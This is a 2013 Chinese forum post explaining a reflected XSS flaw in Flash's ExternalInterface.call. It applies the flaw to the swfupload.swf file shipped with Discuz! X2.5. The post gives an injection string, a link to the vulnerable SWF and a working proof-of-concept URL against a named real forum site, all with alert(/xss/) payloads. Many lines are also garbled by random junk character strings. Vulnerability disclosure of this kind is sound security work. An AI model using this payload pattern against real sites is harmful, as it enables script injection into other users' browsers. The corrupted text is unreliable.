找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1990|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
. o4 [; q) h8 z" |, ~2 F& L: C7 f# t8 {  T
flash.external.ExternalInterface.call($methodName, $parameter)/ j; u1 o! V, v. v
在浏览器中执行的是
+ P- l0 D2 a, Y" q5 B' y% @: x9 [+ J! L  R' T4 ^, X# ], P
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}2 Z: B- H# H" I! }* H+ n
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如6 _9 z3 u/ Y% L( A
5 {( o% K4 Q8 R3 z5 [# B4 @, W
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
7 C7 f% G  `+ l$methodName = a())}catch(e){alert(/xss/)}//
$ w2 e, H, |7 G2 ^2 z/ x结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
( [4 _# u+ t; a8 C+ o: E, V4 b$ F7 X& _/ c0 M* h( O* G
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }. v6 X) o+ Z. K$ v, m

9 T" F7 ?$ ~: {1 t这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS ). y1 w; W  {# t5 `
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
. M" s! v1 S* h/ v' y% @+ m" |4 F
1 P$ z! p! a: B0 e7 U* O7 }7 z' Y  t, c5 t2 J3 Y/ q

9 S* R5 o, G3 l4 B( K漏洞文件:upload\static\image\common\swfupload.swf# {2 c+ ]% G2 ]
0 W: i' c  ~! `- \" u
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
: B5 b  y8 l- b; f' o& W( v6 I6 Z9 ^3 a9 M8 V/ m

6 M) D7 Q1 J/ R- u2 F7 s  g* Q漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//9 S: W% X: l7 U3 U. a; c* `" h2 b# o

7 U/ o8 V! t" Y' j, n8 d* \5 J/ W$ T: E3 g. d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表